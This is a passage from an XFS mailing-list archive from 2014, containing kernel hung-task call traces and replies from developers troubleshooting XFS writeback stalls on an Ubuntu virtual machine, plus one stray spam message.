Mar  4 19:55:25 ealxs00169 kernel: [34230238.105607] INFO: task flush-8:16:20760 blocked for more than 120 seconds.
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105721] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105812] flush-8:16      D 0000000000000000     0 20760      2 0x00000000
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105817]  ffff8800148af880 0000000000000046 ffff8800148afbf0 0000000000000000
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105823]  ffff8800148affd8 ffff8800148affd8 ffff8800148affd8 00000000000137c0
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105826]  ffff8800022a4500 ffff8800022a1700 ffff8800148af850 ffff88001fc14080
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105829] Call Trace:
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105848]  [<ffffffff81118360>] ? __lock_page+0x70/0x70
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105860]  [<ffffffff8165b34f>] schedule+0x3f/0x60
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105862]  [<ffffffff8165b3ff>] io_schedule+0x8f/0xd0
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105865]  [<ffffffff8111836e>] sleep_on_page+0xe/0x20
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105872]  [<ffffffff8165baca>] __wait_on_bit_lock+0x5a/0xc0
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105875]  [<ffffffff81118357>] __lock_page+0x67/0x70
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105881]  [<ffffffff8108bd60>] ? autoremove_wake_function+0x40/0x40
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105887]  [<ffffffff81122bd4>] write_cache_pages+0x3d4/0x460
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105890]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105892]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105895]  [<ffffffff81122caa>] generic_writepages+0x4a/0x70
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105965]  [<ffffffffa008d80d>] xfs_vm_writepages+0x4d/0x60 [xfs]
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105971]  [<ffffffff81123b71>] do_writepages+0x21/0x40
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105980]  [<ffffffff811a2990>] writeback_single_inode+0x180/0x430
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105983]  [<ffffffff811a3056>] writeback_sb_inodes+0x1b6/0x270
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105986]  [<ffffffff811a31ae>] __writeback_inodes_wb+0x9e/0xd0
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105988]  [<ffffffff811a345b>] wb_writeback+0x27b/0x330
Mar  4 19:55:25 ealxs00169 kernel: [34230238.105998]  [<ffffffff810136e5>] ? __switch_to+0xf5/0x360
Mar  4 19:55:25 ealxs00169 kernel: [34230238.106003]  [<ffffffff81194ad2>] ? get_nr_dirty_inodes+0x52/0x80
Mar  4 19:55:25 ealxs00169 kernel: [34230238.106005]  [<ffffffff811a35af>] wb_check_old_data_flush+0x9f/0xb0
Mar  4 19:55:25 ealxs00169 kernel: [34230238.106009]  [<ffffffff811a4481>] wb_do_writeback+0x151/0x1d0
Mar  4 19:55:25 ealxs00169 kernel: [34230238.106014]  [<ffffffff810778b0>] ? usleep_range+0x50/0x50
Mar  4 19:55:25 ealxs00169 kernel: [34230238.106016]  [<ffffffff811a4583>] bdi_writeback_thread+0x83/0x2a0
Mar  4 19:55:25 ealxs00169 kernel: [34230238.106019]  [<ffffffff811a4500>] ? wb_do_writeback+0x1d0/0x1d0
Mar  4 19:55:25 ealxs00169 kernel: [34230238.106021]  [<ffffffff8108b27c>] kthread+0x8c/0xa0
Mar  4 19:55:25 ealxs00169 kernel: [34230238.106027]  [<ffffffff816679b4>] kernel_thread_helper+0x4/0x10
Mar  4 19:55:25 ealxs00169 kernel: [34230238.106030]  [<ffffffff8108b1f0>] ? flush_kthread_worker+0xa0/0xa0
Mar  4 19:55:25 ealxs00169 kernel: [34230238.106032]  [<ffffffff816679b0>] ? gs_change+0x13/0x13
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082371] INFO: task flush-8:16:20760 blocked for more than 120 seconds.
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082468] "echo 0 > /proc/sys/kernel/hung_task_timeout_secs" disables this message.
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082560] flush-8:16      D 0000000000000000     0 20760      2 0x00000000
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082564]  ffff8800148af880 0000000000000046 ffff8800148afbf0 0000000000000000
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082568]  ffff8800148affd8 ffff8800148affd8 ffff8800148affd8 00000000000137c0
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082571]  ffff8800022a4500 ffff8800022a1700 ffff8800148af850 ffff88001fc14080
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082573] Call Trace:
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082594]  [<ffffffff81118360>] ? __lock_page+0x70/0x70
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082599]  [<ffffffff8165b34f>] schedule+0x3f/0x60
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082601]  [<ffffffff8165b3ff>] io_schedule+0x8f/0xd0
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082604]  [<ffffffff8111836e>] sleep_on_page+0xe/0x20
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082607]  [<ffffffff8165baca>] __wait_on_bit_lock+0x5a/0xc0
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082609]  [<ffffffff81118357>] __lock_page+0x67/0x70
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082615]  [<ffffffff8108bd60>] ? autoremove_wake_function+0x40/0x40
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082620]  [<ffffffff81122bd4>] write_cache_pages+0x3d4/0x460
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082623]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082625]  [<ffffffff81122200>] ? set_page_dirty_lock+0x60/0x60
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082627]  [<ffffffff81122caa>] generic_writepages+0x4a/0x70
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082677]  [<ffffffffa008d80d>] xfs_vm_writepages+0x4d/0x60 [xfs]
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082681]  [<ffffffff81123b71>] do_writepages+0x21/0x40
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082687]  [<ffffffff811a2990>] writeback_single_inode+0x180/0x430
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082689]  [<ffffffff811a3056>] writeback_sb_inodes+0x1b6/0x270
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082692]  [<ffffffff811a31ae>] __writeback_inodes_wb+0x9e/0xd0
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082694]  [<ffffffff811a345b>] wb_writeback+0x27b/0x330
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082700]  [<ffffffff810136e5>] ? __switch_to+0xf5/0x360
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082705]  [<ffffffff81194ad2>] ? get_nr_dirty_inodes+0x52/0x80
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082707]  [<ffffffff811a35af>] wb_check_old_data_flush+0x9f/0xb0
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082713]  [<ffffffff811a4481>] wb_do_writeback+0x151/0x1d0
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082719]  [<ffffffff810778b0>] ? usleep_range+0x50/0x50
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082721]  [<ffffffff811a4583>] bdi_writeback_thread+0x83/0x2a0
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082723]  [<ffffffff811a4500>] ? wb_do_writeback+0x1d0/0x1d0
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082726]  [<ffffffff8108b27c>] kthread+0x8c/0xa0
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082731]  [<ffffffff816679b4>] kernel_thread_helper+0x4/0x10
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082733]  [<ffffffff8108b1f0>] ? flush_kthread_worker+0xa0/0xa0
Mar  4 19:57:25 ealxs00169 kernel: [34230358.082736]  [<ffffffff816679b0>] ? gs_change+0x13/0x13

--------------020709070101020901020602-- From tinguely@sgi.com Mon Mar 24 08:27:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 61C417F4E for ; Mon, 24 Mar 2014 08:27:37 -0500 (CDT) Received: from eagdhcp-232-205.americas.sgi.com (eagdhcp-232-205.americas.sgi.com [128.162.232.205]) by relay1.corp.sgi.com (Postfix) with ESMTP id 246648F8064; Mon, 24 Mar 2014 06:27:34 -0700 (PDT) Message-ID: <533032C6.8090800@sgi.com> Date: Mon, 24 Mar 2014 08:27:34 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: "Michel Verbraak(1st-Setup)" CC: xfs@oss.sgi.com Subject: Re: xfs blocks (blocked for more than 120 seconds) References: <532FF9DD.5080700@1st-setup.nl> In-Reply-To: <532FF9DD.5080700@1st-setup.nl> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 03/24/14 04:24, Michel Verbraak(1st-Setup) wrote: > Hi, > > We have a problem with one of our systems which is using XFS but we are > unable to find the problem. Recently we had two moments, Tuesday 4th of > March and Friday the 21st of March, where we had to reboot the system to > get it up and running again. > > What happens: > - The programs handling files on the XFS disc stop working when > creating, deleting or writing files. They do not error they are just > waiting on the command to complete. > - One of our programs, a java application, goes into very high cpu usage > (50%) which normally is at 1%. This could be something in our java > application but it happens at the moment handling files gets stuck. > - A nice restart of the programs does not succeed as wel a kill -9 does > not work. > - Trying to reboot the servers in a normal fashion does not work. As it > is a virtual machine we have to do a shutdown (unplug power) and start > it up again to get it up and running. > > Following details I have for you: > > System OS: Ubuntu 12.04 LTS > Kernel: 3.2.0-37-generic #58-Ubuntu SMP Thu Jan 24 15:28:10 UTC 2013 > x86_64 x86_64 x86_64 GNU/Linux > Server: Virtual machine in a VMWare setup. > Disc: 300GB direct attached LUN > > We have an exact clone of this system for our acceptance environment. In > this environment we are unable to reproduce this problem/situation. > > Differences between the two days is that our services on 2014-03-21 were > quit busy with a lot of file changes on the xfs disc and on 2014-03-04 > the system was very quiet on the moment the kernel traces appear and the > services get stuck. > > Any help is appreciated. > > Regards Michel Verbraak. Could you set up kdump and take a core dump next time it hangs? There is a couple suspicious items in the syslog entries --Mark. From info@1st-setup.nl Mon Mar 24 08:40:54 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 079B57F4E for ; Mon, 24 Mar 2014 08:40:54 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id E05BE8F8064 for ; Mon, 24 Mar 2014 06:40:53 -0700 (PDT) X-ASG-Debug-ID: 1395668448-04cbb054b9655a40001-NocioJ Received: from smtp2.ispfabriek.nl (smtp2.ispfabriek.nl [37.251.0.169]) by cuda.sgi.com with ESMTP id n3GHwovlomvgGpe6 for ; Mon, 24 Mar 2014 06:40:48 -0700 (PDT) X-Barracuda-Envelope-From: info@1st-setup.nl X-Barracuda-Apparent-Source-IP: 37.251.0.169 Received: from localhost (unknown [10.3.1.68]) by smtp2.ispfabriek.nl (Postfix) with ESMTP id E636313EDB5; Mon, 24 Mar 2014 13:40:47 +0000 (UTC) X-Virus-Scanned: amavisd-new at ispfabriek.nl Received: from smtp2.ispfabriek.nl ([10.3.1.141]) by localhost (mailscan2.ispfabriek.nl [10.3.1.68]) (amavisd-new, port 10026) with ESMTP id cJ9AEcckmN4K; Mon, 24 Mar 2014 14:40:33 +0100 (CET) Received: from mailserver.verbraak.thuis (188-142-103-130.FTTH.ispfabriek.nl [188.142.103.130]) by smtp2.ispfabriek.nl (Postfix) with ESMTP id 506D113ECAF; Mon, 24 Mar 2014 14:40:33 +0100 (CET) Received: from [10.242.43.6] ([10.242.43.6]) by mailserver.verbraak.thuis (8.14.7/8.14.5) with ESMTP id s2OEeiqQ005248; Mon, 24 Mar 2014 15:40:44 +0100 Message-ID: <533035CF.6050807@1st-setup.nl> Date: Mon, 24 Mar 2014 14:40:31 +0100 From: "Michel Verbraak(1st-Setup)" User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:24.0) Gecko/20100101 Thunderbird/24.3.0 MIME-Version: 1.0 To: Mark Tinguely CC: xfs@oss.sgi.com Subject: Re: xfs blocks (blocked for more than 120 seconds) References: <532FF9DD.5080700@1st-setup.nl> <533032C6.8090800@sgi.com> X-ASG-Orig-Subj: Re: xfs blocks (blocked for more than 120 seconds) In-Reply-To: <533032C6.8090800@sgi.com> Content-Type: multipart/alternative; boundary="------------020108000003080303060109" X-Barracuda-Connect: smtp2.ispfabriek.nl[37.251.0.169] X-Barracuda-Start-Time: 1395668448 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4206 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message This is a multi-part message in MIME format. --------------020108000003080303060109 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit op 24-03-14 14:27, Mark Tinguely schreef: > On 03/24/14 04:24, Michel Verbraak(1st-Setup) wrote: >> Hi, >> >> We have a problem with one of our systems which is using XFS but we are >> unable to find the problem. Recently we had two moments, Tuesday 4th of >> March and Friday the 21st of March, where we had to reboot the system to >> get it up and running again. >> >> What happens: >> - The programs handling files on the XFS disc stop working when >> creating, deleting or writing files. They do not error they are just >> waiting on the command to complete. >> - One of our programs, a java application, goes into very high cpu usage >> (50%) which normally is at 1%. This could be something in our java >> application but it happens at the moment handling files gets stuck. >> - A nice restart of the programs does not succeed as wel a kill -9 does >> not work. >> - Trying to reboot the servers in a normal fashion does not work. As it >> is a virtual machine we have to do a shutdown (unplug power) and start >> it up again to get it up and running. >> >> Following details I have for you: >> >> System OS: Ubuntu 12.04 LTS >> Kernel: 3.2.0-37-generic #58-Ubuntu SMP Thu Jan 24 15:28:10 UTC 2013 >> x86_64 x86_64 x86_64 GNU/Linux >> Server: Virtual machine in a VMWare setup. >> Disc: 300GB direct attached LUN >> >> We have an exact clone of this system for our acceptance environment. In >> this environment we are unable to reproduce this problem/situation. >> >> Differences between the two days is that our services on 2014-03-21 were >> quit busy with a lot of file changes on the xfs disc and on 2014-03-04 >> the system was very quiet on the moment the kernel traces appear and the >> services get stuck. >> >> Any help is appreciated. >> >> Regards Michel Verbraak. > > > Could you set up kdump and take a core dump next time it hangs? > There is a couple suspicious items in the syslog entries > > --Mark. > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs Mark, We will setup the kdump. Can you elloborate on your suspicions? Michel. --------------020108000003080303060109 Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit
op 24-03-14 14:27, Mark Tinguely schreef:
On 03/24/14 04:24, Michel Verbraak(1st-Setup) wrote:
Hi,

We have a problem with one of our systems which is using XFS but we are
unable to find the problem. Recently we had two moments, Tuesday 4th of
March and Friday the 21st of March, where we had to reboot the system to
get it up and running again.

What happens:
- The programs handling files on the XFS disc stop working when
creating, deleting or writing files. They do not error they are just
waiting on the command to complete.
- One of our programs, a java application, goes into very high cpu usage
(50%) which normally is at 1%. This could be something in our java
application but it happens at the moment handling files gets stuck.
- A nice restart of the programs does not succeed as wel a kill -9 does
not work.
- Trying to reboot the servers in a normal fashion does not work. As it
is a virtual machine we have to do a shutdown (unplug power) and start
it up again to get it up and running.

Following details I have for you:

System OS: Ubuntu 12.04 LTS
Kernel: 3.2.0-37-generic #58-Ubuntu SMP Thu Jan 24 15:28:10 UTC 2013
x86_64 x86_64 x86_64 GNU/Linux
Server: Virtual machine in a VMWare setup.
Disc: 300GB direct attached LUN

We have an exact clone of this system for our acceptance environment. In
this environment we are unable to reproduce this problem/situation.

Differences between the two days is that our services on 2014-03-21 were
quit busy with a lot of file changes on the xfs disc and on 2014-03-04
the system was very quiet on the moment the kernel traces appear and the
services get stuck.

Any help is appreciated.

Regards Michel Verbraak.


Could you set up kdump and take a core dump next time it hangs?
There is a couple suspicious items in the syslog entries

--Mark.

_______________________________________________
xfs mailing list
xfs@oss.sgi.com
http://oss.sgi.com/mailman/listinfo/xfs
Mark,

We will setup the kdump. Can you elloborate on your suspicions?

Michel.
--------------020108000003080303060109-- From aliyah_aziz@embarqmail.com Mon Mar 24 09:01:09 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE,T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id D52127F4E for ; Mon, 24 Mar 2014 09:01:09 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id AC6D28F8073 for ; Mon, 24 Mar 2014 07:01:06 -0700 (PDT) X-ASG-Debug-ID: 1395669664-04cbb054b8656fc0001-NocioJ Received: from smtp.centurylink.net (mail.centurylink.net [205.219.233.9]) by cuda.sgi.com with ESMTP id ICPeBw7RHahvz9ty (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 24 Mar 2014 07:01:04 -0700 (PDT) X-Barracuda-Envelope-From: aliyah_aziz@embarqmail.com X-Barracuda-Apparent-Source-IP: 205.219.233.9 DKIM-Signature: v=1; a=rsa-sha1; d=embarqmail.com; s=ctl201402; c=relaxed/simple; q=dns/txt; i=@embarqmail.com; t=1395669663; h=From:Subject:Date:To:MIME-Version:Content-Type; bh=OdOeTXhCTa580GHz/7VpdkiyjWk=; b=fyX+ToAdMm+FfIQ53yT3toss+D6zf8hPuAQ+LqEnf+k1MogD9y0yyq3Wig8kAD6e 6KEarb32PmJYC0qPLmkVetzUYpHXBSqbR7jXzNJDVoe7MBv3fjw9oCI+DXVqizsv YTpgAZKuCRnH2dTwKyJcIMXVWMs3BitAtYpSDqpUdBaLmRCJ2r6NuKLCqlrPLXo8 Szt9DIcHPNdgqAy9uP1Zj3BdIvvLRNpI9DYRG6aEaHrXDkGd7PIrrdiDqgQ8w7mD HH6W47X1FuSu/eJtJVHiaG/LrdIkeemo33pokC8OotAfpumllJB4GnEBJFxbrxxS EzssAu4+ALZKCNXKrAGviw==; X_CMAE_Category: , , X-CNFS-Analysis: v=2.0 cv=JuBzXbEC c=1 sm=1 a=FKkrIqjQGGEA:10 a=1poGYrevpj8A:10 a=zrtfsDcf3T0A:10 a=1oqGTYSLAAAA:8 a=Mt2yh2yYgzoRKgau0IYA:9 a=QEXdDO2ut3YA:10 a=Sqz9184wur0A:10 a=c5frLH11YNQA:10 a=xMXBOrKbGhLtuxKfIfQA:9 a=_W_S_7VecoQA:10 a=woySP4Il718A:10 a=DOK4COq5040A:10 a=859NpK6DnAJZxRCH8ipABg==:117 X-CM-Score: 0 X-Scanned-by: Cloudmark Authority Engine X-Authed-Username: YWxpeWFoX2F6aXpAZW1iYXJxbWFpbC5jb20= Authentication-Results: smtp01.agate.dfw.synacor.com header.from=aliyah_aziz@embarqmail.com; sender-id=neutral Authentication-Results: smtp01.agate.dfw.synacor.com smtp.mail=aliyah_aziz@embarqmail.com; spf=neutral; sender-id=neutral Received-SPF: neutral (smtp01.agate.dfw.synacor.com: 10.40.66.2 is neither permitted nor denied by domain of embarqmail.com) Received: from [10.40.66.2] ([10.40.66.2:36561] helo=md25.agate.dfw.synacor.com) by smtp.centurylink.net (envelope-from ) (ecelerity 3.5.1.37854 r(Momo-dev:3.5.1.0)) with ESMTP id E1/60-04012-C9A30335; Mon, 24 Mar 2014 10:01:01 -0400 Date: Mon, 24 Mar 2014 10:01:00 -0400 (EDT) From: Aliyah Abdul-Aziz To: info@me.org Message-ID: <711687688.26280667.1395669660906.JavaMail.root@embarqmail.com> Subject: inheritance MIME-Version: 1.0 X-ASG-Orig-Subj: inheritance Content-Type: multipart/alternative; boundary="----=_Part_26280666_205388761.1395669660904" X-Originating-IP: [10.40.0.31] X-Mailer: Zimbra 7.2.2_GA_2852 (zclient/7.2.2_GA_2852) X-Barracuda-Connect: mail.centurylink.net[205.219.233.9] X-Barracuda-Start-Time: 1395669664 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4207 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.00 HTML_MESSAGE BODY: HTML included in message ------=_Part_26280666_205388761.1395669660904 Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 7bit -- i have an inheritance for you ------=_Part_26280666_205388761.1395669660904 Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit


--
i have an inheritance for you ------=_Part_26280666_205388761.1395669660904-- From tinguely@sgi.com Mon Mar 24 11:13:00 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 3C7D27F4E for ; Mon, 24 Mar 2014 11:13:00 -0500 (CDT) Received: from eagdhcp-232-205.americas.sgi.com (eagdhcp-232-205.americas.sgi.com [128.162.232.205]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0E21C8F8039; Mon, 24 Mar 2014 09:12:56 -0700 (PDT) Message-ID: <53305989.3000708@sgi.com> Date: Mon, 24 Mar 2014 11:12:57 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: "Michel Verbraak(1st-Setup)" CC: xfs@oss.sgi.com Subject: Re: xfs blocks (blocked for more than 120 seconds) References: <532FF9DD.5080700@1st-setup.nl> <533032C6.8090800@sgi.com> <533035CF.6050807@1st-setup.nl> In-Reply-To: <533035CF.6050807@1st-setup.nl> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 03/24/14 08:40, Michel Verbraak(1st-Setup) wrote: > op 24-03-14 14:27, Mark Tinguely schreef: >> On 03/24/14 04:24, Michel Verbraak(1st-Setup) wrote: >>> Hi, >>> >>> We have a problem with one of our systems which is using XFS but we are >>> unable to find the problem. Recently we had two moments, Tuesday 4th of >>> March and Friday the 21st of March, where we had to reboot the system to >>> get it up and running again. >>> >>> What happens: >>> - The programs handling files on the XFS disc stop working when >>> creating, deleting or writing files. They do not error they are just >>> waiting on the command to complete. >>> - One of our programs, a java application, goes into very high cpu usage >>> (50%) which normally is at 1%. This could be something in our java >>> application but it happens at the moment handling files gets stuck. >>> - A nice restart of the programs does not succeed as wel a kill -9 does >>> not work. >>> - Trying to reboot the servers in a normal fashion does not work. As it >>> is a virtual machine we have to do a shutdown (unplug power) and start >>> it up again to get it up and running. >>> >>> Following details I have for you: >>> >>> System OS: Ubuntu 12.04 LTS >>> Kernel: 3.2.0-37-generic #58-Ubuntu SMP Thu Jan 24 15:28:10 UTC 2013 >>> x86_64 x86_64 x86_64 GNU/Linux >>> Server: Virtual machine in a VMWare setup. >>> Disc: 300GB direct attached LUN >>> >>> We have an exact clone of this system for our acceptance environment. In >>> this environment we are unable to reproduce this problem/situation. >>> >>> Differences between the two days is that our services on 2014-03-21 were >>> quit busy with a lot of file changes on the xfs disc and on 2014-03-04 >>> the system was very quiet on the moment the kernel traces appear and the >>> services get stuck. >>> >>> Any help is appreciated. >>> >>> Regards Michel Verbraak. >> >> >> Could you set up kdump and take a core dump next time it hangs? >> There is a couple suspicious items in the syslog entries >> >> --Mark. >> >> _______________________________________________ >> xfs mailing list >> xfs@oss.sgi.com >> http://oss.sgi.com/mailman/listinfo/xfs > Mark, > > We will setup the kdump. Can you elloborate on your suspicions? > > Michel. I am interested in the AGF buffer locks and it would be nice to know who hold what locks. The flush workers are interesting too. We have seen process block worker's writes from completing, so looking at what is running and scheduled would be interesting. So a vmcore would tell a lot. --Mark. From david@fromorbit.com Mon Mar 24 12:36:51 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 017577F4E for ; Mon, 24 Mar 2014 12:36:51 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id E97A4304048 for ; Mon, 24 Mar 2014 10:36:47 -0700 (PDT) X-ASG-Debug-ID: 1395682603-04cbb054b666ead0001-NocioJ Received: from ipmail05.adl6.internode.on.net (ipmail05.adl6.internode.on.net [150.101.137.143]) by cuda.sgi.com with ESMTP id Lq88ZDq9XkixsgI0 for ; Mon, 24 Mar 2014 10:36:44 -0700 (PDT) X-Barracuda-Envelope-From: david@fromorbit.com X-Barracuda-Apparent-Source-IP: 150.101.137.143 X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: Ar4IAMNsMFMM6ME1/2dsb2JhbABRCIMGO6o1mRKBHhZ0giUBAQEDATo/BQsIAw0LCRQRDwUoDRQTh3ELz0AXjiQITgeDJIEUBJhJgTOFQos9g0Ep Received: from unknown (HELO destitution) ([12.232.193.53]) by ipmail05.adl6.internode.on.net with ESMTP; 25 Mar 2014 04:06:41 +1030 Received: from dave by destitution with local (Exim 4.82) (envelope-from ) id 1WS8nc-000703-4W; Tue, 25 Mar 2014 04:36:36 +1100 Date: Tue, 25 Mar 2014 04:36:36 +1100 From: Dave Chinner To: "Michel Verbraak(1st-Setup)" Cc: xfs@oss.sgi.com Subject: Re: xfs blocks (blocked for more than 120 seconds) Message-ID: <20140324173636.GD18572@destitution> X-ASG-Orig-Subj: Re: xfs blocks (blocked for more than 120 seconds) References: <532FF9DD.5080700@1st-setup.nl> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <532FF9DD.5080700@1st-setup.nl> User-Agent: Mutt/1.5.21 (2010-09-15) X-Barracuda-Connect: ipmail05.adl6.internode.on.net[150.101.137.143] X-Barracuda-Start-Time: 1395682603 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4213 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope 